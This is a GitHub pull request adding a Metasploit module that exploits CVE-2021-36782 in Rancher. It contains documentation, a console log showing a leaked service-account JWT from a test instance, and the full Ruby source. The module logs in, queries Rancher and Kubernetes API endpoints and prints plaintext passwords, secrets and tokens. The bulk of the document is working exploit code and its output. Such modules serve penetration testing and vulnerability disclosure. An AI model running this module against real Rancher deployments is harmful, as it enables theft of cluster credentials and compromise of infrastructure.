Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Rancher Authenticated API Credential Exposure (CVE-2021-36782) #18956

Merged
merged 4 commits into from Apr 19, 2024
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
@@ -0,0 +1,81 @@
## Vulnerable Application

An issue was discovered in Rancher versions up to and including
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys
and Ranchers service account token (used to provision clusters),
were stored in plaintext directly on Kubernetes objects like Clusters,
for example cluster.management.cattle.io. Anyone with read access to
those objects in the Kubernetes API could retrieve the plaintext
version of those sensitive data.

### Install

https://github.com/fe-ax/tf-cve-2021-36782

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/rancher_authenticated_api_cred_exposure`
1. Do: `set rhosts [ip]`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. If any API items of value are found, they will be printed

## Options

### Username

Username for Rancher. user must be in one or more of the following groups:

* `Cluster Owners`
* `Cluster Members`
* `Project Owners`
* `Project Members`
* `User Base`

## Password

Password for Rancher.

### Version and OS
h00die marked this conversation as resolved.
Show resolved Hide resolved

```
msf6 > use auxiliary/gather/rancher_authenticated_api_cred_exposure
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set rhosts rancher.178.62.209.204.sslip.io
rhosts => rancher.178.62.209.204.sslip.io
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set username readonlyuser
username => readonlyuser
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set password readonlyuserreadonlyuser
password => readonlyuserreadonlyuser
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set verbose true
verbose => true
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run
[*] Running module against 178.62.209.204

[*] Attempting login
[-] Auxiliary aborted due to failure: unreachable: 178.62.209.204:443 - Could not connect to web service - no response
[*] Auxiliary module execution completed
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run
[*] Running module against 178.62.209.204

[*] Attempting login
[+] login successful, querying APIs
[*] Querying /v1/management.cattle.io.catalogs
[*] Querying /v1/management.cattle.io.clusters
[+] Found leaked key Cluster.Status.ServiceAccountToken: eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng
[*] Querying /v1/management.cattle.io.clustertemplates
[*] Querying /v1/management.cattle.io.notifiers
[*] Querying /v1/project.cattle.io.sourcecodeproviderconfig
[-] No response received from /v1/project.cattle.io.sourcecodeproviderconfig
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/catalogs
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clusters
[-] No response received from /k8s/clusters/local/apis/management.cattle.io/v3/clusters
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/notifiers
[*] Querying /k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs
[*] Auxiliary module execution completed
```

The [Cluster.Status.ServiceAccountToken](https://jwt.io/#debugger-io?token=eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng) is actually a JWT token as seen in the link.
191 changes: 191 additions & 0 deletions modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb
@@ -0,0 +1,191 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rancher Authenticated API Credential Exposure',
'Description' => %q{
An issue was discovered in Rancher versions up to and including
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys
and Ranchers service account token (used to provision clusters),
were stored in plaintext directly on Kubernetes objects like Clusters,
for example cluster.management.cattle.io. Anyone with read access to
those objects in the Kubernetes API could retrieve the plaintext
version of those sensitive data.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Florian Struck', # discovery
'Marco Stuurman' # discovery
],
'References' => [
[ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'],
[ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'],
[ 'URL', 'https://fe.ax/cve-2021-36782/'],
[ 'CVE', '2021-36782']
],
'DisclosureDate' => '2022-08-18',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', '']),
OptString.new('PASSWORD', [ true, 'Password to login with', '']),
h00die marked this conversation as resolved.
Show resolved Hide resolved
OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/'])
]
)
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def rancher?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dashboard/'),
'keep_cookies' => true
})
return false if res.nil?
return false unless res.code == 200
h00die marked this conversation as resolved.
Show resolved Hide resolved

html = res.get_html_document
title = html.at('title').text
return true if title == 'dashboard' # this is a VERY weak check

false
h00die marked this conversation as resolved.
Show resolved Hide resolved
end

def login
# get our cookie first with CSRF token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res.code == 200
h00die marked this conversation as resolved.
Show resolved Hide resolved

json_post_data = JSON.pretty_generate(
{
'description' => 'UI session',
'responseType' => 'cookie',
'username' => username,
'password' => password
}
)
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token not found in cookie") unless res.get_cookies.to_s =~ /CSRF=(\w*);/

csrf = ::Regexp.last_match(1)

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'),
'keep_cookies' => true,
'method' => 'POST',
'vars_get' => {
'action' => 'login'
},
'headers' => {
'accept' => 'application/json',
'X-Api-Csrf' => csrf
},
'ctype' => 'application/json',
'data' => json_post_data
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::NoAccess, "#{peer} - Login failed, check credentials") if res.code == 401
end

def check
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service, or doesnt seem to be a rancher website") unless rancher?

Exploit::CheckCode::Detected('Seems to be rancher, but unable to determine version')
end

def run
vprint_status('Attempting login')
login
vprint_good('login successful, querying APIs')
[
'/v1/management.cattle.io.catalogs',
'/v1/management.cattle.io.clusters',
'/v1/management.cattle.io.clustertemplates',
'/v1/management.cattle.io.notifiers',
'/v1/project.cattle.io.sourcecodeproviderconfig',
'/k8s/clusters/local/apis/management.cattle.io/v3/catalogs',
'/k8s/clusters/local/apis/management.cattle.io/v3/clusters',
'/k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates',
'/k8s/clusters/local/apis/management.cattle.io/v3/notifiers',
'/k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs'
].each do |api_endpoint|
vprint_status("Querying #{api_endpoint}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, api_endpoint),
'headers' => {
'accept' => 'application/json'
}
)
if res.nil?
vprint_error("No response received from #{api_endpoint}")
next
end
next unless res.code == 200

json_body = res.get_json_document
next unless json_body.key? 'data'

json_body['data'].each do |data|
# list taken directly from CVE writeup, however this isn't how the API presents its so we fix it later
[
'Notifier.SMTPConfig.Password',
'Notifier.WechatConfig.Secret',
'Notifier.DingtalkConfig.Secret',
'Catalog.Spec.Password',
'SourceCodeProviderConfig.GithubPipelineConfig.ClientSecret',
'SourceCodeProviderConfig.GitlabPipelineConfig.ClientSecret',
'SourceCodeProviderConfig.BitbucketCloudPipelineConfig.ClientSecret',
'SourceCodeProviderConfig.BitbucketServerPipelineConfig.PrivateKey',
'Cluster.Spec.RancherKubernetesEngineConfig.BackupConfig.S3BackupConfig.SecretKey',
'Cluster.Spec.RancherKubernetesEngineConfig.PrivateRegistries.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword',
'Cluster.Status.ServiceAccountToken',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.PrivateRegistries.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword'
].each do |leaky_key|
leaky_key_fixed = leaky_key.split('.')[1..] # remove first item,
leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word
print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should we store these credentials?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I wasn't able to configure some/most of them, so matching up all the needed information from all the places (username to go with the password, plus the rhost/service) would be difficult at best. I've left it like this to avoid having to do all that extra guess work

end
end
end
end
end